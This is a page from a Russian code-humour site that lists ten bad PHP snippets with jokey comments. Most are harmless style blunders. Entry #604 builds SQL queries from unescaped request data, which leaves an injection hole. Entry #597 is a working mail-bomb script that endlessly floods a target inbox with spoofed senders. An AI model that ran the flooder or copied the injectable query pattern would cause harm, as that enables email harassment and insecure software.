1. PHP / Говнокод #610

    +144.7

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    if (isset($_GET["DB"]))                         {$DB=$_GET["DB"];}
            elseif (isset($_POST["DB"]))    {$DB=$_POST["DB"];}
    if (isset($_GET["active"]))     {$active=$_GET["active"];}
            elseif (isset($_POST["active"]))        {$active=$_POST["active"];}
    if (isset($_GET["adaptive_dl_diff_target"]))    {$adaptive_dl_diff_target=$_GET["adaptive_dl_diff_target"];}
            elseif (isset($_POST["adaptive_dl_diff_target"]))       {$adaptive_dl_diff_target=$_POST["adaptive_dl_diff_target"];}
    if (isset($_GET["adaptive_dropped_percentage"]))        {$adaptive_dropped_percentage=$_GET["adaptive_dropped_percentage"];}
            elseif (isset($_POST["adaptive_dropped_percentage"])){$adaptive_dropped_percentage=$_POST["adaptive_dropped_percentage"];}
    if (isset($_GET["adaptive_intensity"])) {$adaptive_intensity=$_GET["adaptive_intensity"];}
            elseif (isset($_POST["adaptive_intensity"]))    {$adaptive_intensity=$_POST["adaptive_intensity"];}
    if (isset($_GET["adaptive_latest_server_time"]))        {$adaptive_latest_server_time=$_GET["adaptive_latest_server_time"];}
            elseif (isset($_POST["adaptive_latest_server_time"])){$adaptive_latest_server_time=$_POST["adaptive_latest_server_time"];}
    if (isset($_GET["adaptive_maximum_level"]))     {$adaptive_maximum_level=$_GET["adaptive_maximum_level"];}
            elseif (isset($_POST["adaptive_maximum_level"]))        {$adaptive_maximum_level=$_POST["adaptive_maximum_level"];}
    if (isset($_GET["SUB"]))                        {$SUB=$_GET["SUB"];}
            elseif (isset($_POST["SUB"]))   {$SUB=$_POST["SUB"];}
    if (isset($_GET["ADD"]))                        {$ADD=$_GET["ADD"];}
            elseif (isset($_POST["ADD"]))   {$ADD=$_POST["ADD"];}
    if (isset($_GET["admin_hangup_enabled"]))       {$admin_hangup_enabled=$_GET["admin_hangup_enabled"];}
            elseif (isset($_POST["admin_hangup_enabled"]))  {$admin_hangup_enabled=$_POST["admin_hangup_enabled"];}  
    /* и дальше еще 560  строк аналогичного содержания :) */

    vicidial. admin.php. небольшой кусочек... Общая длина вот таких вот ифов - 581 строка.

    guest, 25 Февраля 2009

    Комментарии (5)
  2. PHP / Говнокод #609

    +140

    1. 1
    2. 2
    3. 3
    function CheckProgramInfoForm($info){
            return 1;
        }

    guest, 25 Февраля 2009

    Комментарии (0)
  3. PHP / Говнокод #608

    +161.7

    1. 1
    <?=ShowError(str_replace("и время ","",str_replace('Неверный формат даты завершения активности','Неверно введен формат времени',implode("<br />", $arResult["ERRORS"]))));?>

    Зачем добавлять новые тексты ошибок?
    Мы получим любую ошибку из любой str_replace ом!

    guest, 25 Февраля 2009

    Комментарии (0)
  4. PHP / Говнокод #607

    +140

    1. 1
    2. 2
    3. 3
    <?php
    define('TRUE', false);
    ?>

    Имхо боян, но смешно :)

    guest, 25 Февраля 2009

    Комментарии (2)
  5. PHP / Говнокод #604

    +154

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    36. 36
    37. 37
    switch($action){
      	  default:
      	  case 'main':
      	  {
      	  	  if($request_do == 'adtb'){
      	  	  	  $sql->Query("SELECT * FROM utb WHERE `siteid` = $request_site AND `uid` =  ".$_SESSION['id'].";");
      	  	  	  if($sql->size_of_result == 0){
      	  	  	  	  $sql->Query("INSERT INTO utb VALUES(null,".$_SESSION['id'].",$request_site,'$request_url');");
    			  }
    		  }
    		  if($request_do == 'del' && isset($request_id)){
    		  	  $sql->Query("SELECT * FROM utb WHERE `id` = $request_id AND  `uid` =  ".$_SESSION['id'].";");
    		  	  if($sql->size_of_result != 0){
    		  	  	  $sql->Query("DELETE FROM utb WHERE `id` = $request_id;");
    			  }
    		  }
    		  if($request_do == 'save' && is_array($request_tbdata)){
    		  	  foreach($request_tbdata as $k=>$v){
    		  	  	  $sql->Query("UPDATE utb SET `url` = '$v' WHERE `id` = $k;");
    			  }
    		  }
      	  	  $sql->Query("SELECT `id`, `domen`, `sitename` FROM sites;");
              $sdata = $sql->GetAssoc();
              $sql->Query("SELECT *,(SELECT `domen` FROM sites WHERE `id` = utb.id) as `site` FROM utb WHERE `uid` =  ".$_SESSION['id'].";");
              $udata = $sql->GetAssoc();
              $sql->Query("SELECT `id`, `domen` FROM sites WHERE `id` NOT IN(SELECT `siteid` FROM utb WHERE `uid` = ".$_SESSION['id']." );");
              $data = $sql->GetAssoc();
              $smarty->assign('sdata',$sdata);
              $smarty->assign('data',$data);
              $smarty->assign('udata',$udata);
              $smarty->assign('id',$_SESSION['id']);
      	  	  $smarty->display('links.tpl');
              break;
    	  }
    
    
      }

    Ага новые конструкции в PHP! Нашел в одной Cmsке

    guest, 24 Февраля 2009

    Комментарии (4)
  6. PHP / Говнокод #603

    +139.3

    1. 1
    (bool) $frmchk_user_edit = 0;

    и такое тут сплошь и рядом...
    платный продукт..

    guest, 24 Февраля 2009

    Комментарии (4)
  7. PHP / Говнокод #602

    +138.7

    1. 1
    2. 2
    3. 3
    4. 4
    5. 5
    6. 6
    7. 7
    <?
    // ....
    $POST_MAX_SIZE = ini_get('post_max_size');
    $mul = substr($POST_MAX_SIZE, -1);
    $mul = ($mul == 'M' ? 1048576 : ($mul == 'K' ? 1024 : ($mul == 'G' ? 1073741824 : 1)));
    // ....
    ?>

    я ещё такой глубины условий не встречал в такой форме

    guest, 23 Февраля 2009

    Комментарии (3)
  8. PHP / Говнокод #600

    +134

    1. 1
    2. 2
    3. 3
    4. 4
    5. 5
    <?
    for($i=0;$i<100;$i++){
     header("Location: govnokod");
    }
    ?>

    xek

    guest, 23 Февраля 2009

    Комментарии (3)
  9. PHP / Говнокод #597

    +139

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    <?php 
    /*
    Copyright Зверь ICQ #444383
    */
    
    
    #Настройки: 
    $error=1; #Показывать ошибки на сервере(1-да, 0-нет) 
    $email="[email protected]"; #На какой мыльник срать 
    $subject="Продаю виагру, дешево!"; #Тема письма 
    $message="Обломись!!! Я не продаю виагру, а даю люлей!!! Ты попал...=)"; #Текст письма 
    $name="viagra_sale"; #Впишите сюда имя(!) отправителя (будет выглядеть, например: [email protected]) 
    $domain="mail.ru"; #Впишите доменное имя хоста, который хотите подставить =) 
    #Запуск: 
    $one=1; 
    error_reporting($error); 
    while ($one=="1"): 
    $num=mt_rand(1,123456789); 
    $headers="$name$num@$domain"; 
    #Посылаем созданное письмо: 
    mail ($email, $subject, $message, $headers); 
    endwhile; 
    echo "Флуд мыльника $email закончен!"; 
    ?>
    ?>

    щячло попячся111

    guest, 22 Февраля 2009

    Комментарии (2)
  10. PHP / Говнокод #596

    +141

    1. 1
    2. 2
    3. 3
    <?php
    echo 'I love antichat (:';
    ?>

    :)

    guest, 22 Февраля 2009

    Комментарии (37)